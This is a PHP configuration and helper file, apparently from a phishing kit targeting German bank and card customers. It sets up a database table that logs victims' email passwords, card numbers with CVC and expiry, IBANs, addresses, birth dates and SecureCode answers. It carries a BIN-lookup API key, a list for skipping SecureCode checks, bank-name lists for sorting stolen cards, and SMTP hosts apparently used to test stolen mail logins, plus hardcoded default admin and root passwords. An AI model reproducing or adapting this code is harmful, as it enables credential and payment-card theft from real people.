· 9 years ago · Dec 14, 2016, 04:40 PM
1<?php
2 session_start();
3
4 // Configuration
5 $config = [
6 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '',
7 'mysql' => [
8 'hostname' => 'localhost',
9 'username' => 'root',
10 'password' => '123456',
11 'database' => 'pp'
12 ],
13 'bincodes' => [
14 'enabled' => true,
15 'api_key' => '2d974e94811161f1dda14bbf63aa9790'
16 ],
17 // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25
18 'smtps' => [
19 'web.de' => [
20 'host' => 'smtp.web.de',
21 'port' => 587
22 ],
23 'aol.com' => [
24 'host' => 'smtp.de.aol.com',
25 'port' => 587
26 ],
27 'aol.de' => [
28 'host' => 'smtp.aim.com',
29 'port' => 587
30 ],
31 'aim.com' => [
32 'host' => 'smtp.aim.com',
33 'port' => 587
34 ],
35 'arcor.de' => [
36 'host' => 'mail.arcor.de',
37 'port' => 25
38 ],
39 'bluewin.ch' => [
40 'host' => 'smtpauths.bluewin.ch',
41 'port' => 25
42 ],
43 'gmail.com' => [
44 'host' => 'smtp.gmail.com',
45 'port' => 587
46 ],
47 'gmail.de' => [
48 'host' => 'smtp.gmail.com',
49 'port' => 587
50 ],
51 'googlemail.com' => [
52 'host' => 'smtp.gmail.com',
53 'port' => 587
54 ],
55 'gmx.de' => [
56 'host' => 'mail.gmx.net',
57 'port' => 587
58 ],
59 'gmx.net' => [
60 'host' => 'mail.gmx.net',
61 'port' => 587
62 ],
63 'outlook.de' => [
64 'host' => 'smtp-mail.outlook.com',
65 'port' => 587
66 ],
67 'live.de' => [
68 'host' => 'smtp-mail.outlook.com',
69 'port' => 587
70 ],
71 'hotmail.de' => [
72 'host' => 'smtp-mail.outlook.com',
73 'port' => 587
74 ],
75 'live.com' => [
76 'host' => 'smtp-mail.outlook.com',
77 'port' => 587
78 ],
79 'outlook.com' => [
80 'host' => 'smtp-mail.outlook.com',
81 'port' => 587
82 ],
83 'yahoo.de' => [
84 'host' => 'smtp.mail.yahoo.com',
85 'port' => 25
86 ],
87 'yahoo.com' => [
88 'host' => 'smtp.mail.yahoo.com',
89 'port' => 25
90 ],
91 't-online.de' => [
92 'host' => 'securesmtp.t-online.de',
93 'port' => 25
94 ],
95 'unitybox.de' => [
96 'host' => 'submit.unitybox.de',
97 'port' => 587
98 ],
99 'kabelbw.de' => [
100 'host' => 'submit.kabelbw.de',
101 'port' => 587
102 ],
103 'one.com' => [
104 'host' => 'send.one.com',
105 'port' => 587
106 ],
107 'freenet.de' => [
108 'host' => 'mx.freenet.de',
109 'port' => 587
110 ]
111 ],
112 // Bins bei dem die SecureCode Abfrage übersprungen werden
113 'skipBins' => [
114 /*
115 '457096',
116 '548622',
117 '548621'
118 */
119 ],
120 // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird)
121 'banks' => [
122 'santander' => [
123 'SANTANDER CONSUMER BANK AG',
124 'SANTANDER DIREKT BANK AG'
125 ],
126 'vw' => [
127 'VOLKSWAGEN BANK GMBH'
128 ],
129 'advanzia' => [
130 'ADVANZIA BANK, S.A.'
131 ],
132 'barclay' => [
133 'BARCLAYS BANK PLC',
134 'BARCLAYCARD GERMANY'
135 ],
136 'airp' => [
137 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH'
138 ],
139 'dkb' => [
140 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE'
141 ],
142 'lbb' => [
143 'LANDESBANK BERLIN AG'
144 ],
145 'dzb' => [
146 'DZ BANK AG',
147 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK'
148 ],
149 'wgz' => [
150 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK'
151 ],
152 'volksbank' => [
153
154 ],
155 'spardabank' => [
156
157 ],
158 'postbank' => [
159 'DEUTSCHE POSTBANK AG',
160 'POSTBANK BERLIN',
161 ],
162 'sparkasse' => [
163 'DEUTSCHER SPARKASSEN - UND GIROVERBAND',
164 'SPARKASSE',
165 'SPARKASSE SCHAUMBURG'
166 ],
167 'random' => [
168 'TARGOBANK AG AND CO. KGAA',
169 'CITIBANK AG',
170 'ING-DIBA AG',
171 'COMMERZBANK AG',
172 'MERCEDES-BENZ BANK AG',
173 'LANDESBANK BADEN-WUERTTEMBERG',
174 'COMDIRECT BANK AG',
175 'DEUTSCHE BANK AG',
176 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG',
177 'BAYERISCHE LANDESBANK GIROZENTRALE',
178 'BAYERISCHE LANDESBANK',
179 'SUEDDEUTSCHE BANK GMBH'
180 ]
181 ]
182 ];
183
184 if(!defined('CONTINUE_PDO')) {
185 // MySQL Connection
186 $pdo = new PDO(
187 'mysql:host=' . $config['mysql']['hostname'] . ';',
188 $config['mysql']['username'],
189 $config['mysql']['password']
190 );
191
192 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
193
194 $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']);
195 $pdo->query('use ' . $config['mysql']['database']);
196
197 $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
198 $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'");
199 $pdo->exec('SET NAMES \'utf8\'');
200 mb_internal_encoding('UTF-8');
201
202 $pdo->exec('
203 CREATE TABLE IF NOT EXISTS `admins` (
204 `id` int(11) NOT NULL AUTO_INCREMENT,
205 `username` varchar(255) NOT NULL,
206 `password` varchar(255) NOT NULL,
207 PRIMARY KEY (`id`)
208 ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
209
210 INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\');
211
212 CREATE TABLE IF NOT EXISTS `logs` (
213 `id` int(11) NOT NULL AUTO_INCREMENT,
214 `ip` varchar(255) DEFAULT NULL,
215 `user_agent` text,
216 `email` varchar(255) DEFAULT NULL,
217 `password` varchar(255) DEFAULT NULL,
218 `firstname` varchar(255) DEFAULT NULL,
219 `surname` varchar(255) DEFAULT NULL,
220 `dob_day` int(11) DEFAULT \'0\',
221 `dob_month` int(11) DEFAULT \'0\',
222 `dob_year` int(11) DEFAULT \'0\',
223 `method` enum(\'creditcard\',\'bank\') DEFAULT \'creditcard\',
224 `cc_number` varchar(255) DEFAULT NULL,
225 `cc_expire_month` int(2) DEFAULT NULL,
226 `cc_expire_year` int(4) DEFAULT NULL,
227 `cc_cvc` int(4) DEFAULT NULL,
228 `bank_iban` varchar(255) DEFAULT NULL,
229 `bank_bic` varchar(255) DEFAULT NULL,
230 `cc_bank` varchar(255) DEFAULT NULL,
231 `cc_type` varchar(255) DEFAULT NULL,
232 `cc_level` varchar(255) DEFAULT NULL,
233 `cc_country` varchar(255) DEFAULT NULL,
234 `cc_countrycode` varchar(255) DEFAULT NULL,
235 `cc_card` varchar(255) DEFAULT NULL,
236 `cc_limit` int(11) DEFAULT \'0\',
237 `street` varchar(255) DEFAULT NULL,
238 `city` varchar(255) DEFAULT NULL,
239 `plz` int(5) DEFAULT NULL,
240 `sc_1` varchar(255) DEFAULT NULL,
241 `sc_2` varchar(255) DEFAULT NULL,
242 `timestamp` varchar(255) DEFAULT \'123456789\',
243 `mobilenr` varchar(255) DEFAULT NULL,
244 `bank_name` varchar(255) DEFAULT NULL,
245 PRIMARY KEY (`id`)
246 ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
247 ');
248 }
249
250 // Functions
251 function isLoggedIn() {
252 global $pdo;
253
254 if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) {
255 $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
256 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
257
258 return $stmt->rowCount() > 0;
259 }
260
261 return false;
262 }
263
264 function getLogsCount() {
265 global $pdo;
266
267 $qry = $pdo->query('SELECT NULL FROM `logs`');
268
269 return $qry->rowCount();
270 }
271
272 function getUserInfo($row, $filter = true) {
273 global $pdo;
274
275 if(isLoggedIn()) {
276 $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
277 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
278
279 if($stmt->rowCount() > 0) {
280 $obj = $stmt->fetch(PDO::FETCH_OBJ);
281 return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row};
282 }
283 }
284
285 return '';
286 }
287
288 function getIp() {
289 $ip = $_SERVER['REMOTE_ADDR'];
290
291 if(!empty($_SERVER['HTTP_CLIENT_IP'])) {
292 $ip = $_SERVER['HTTP_CLIENT_IP'];
293 } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
294 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
295 } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
296 $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
297 }
298
299 return $ip;
300 }
301?>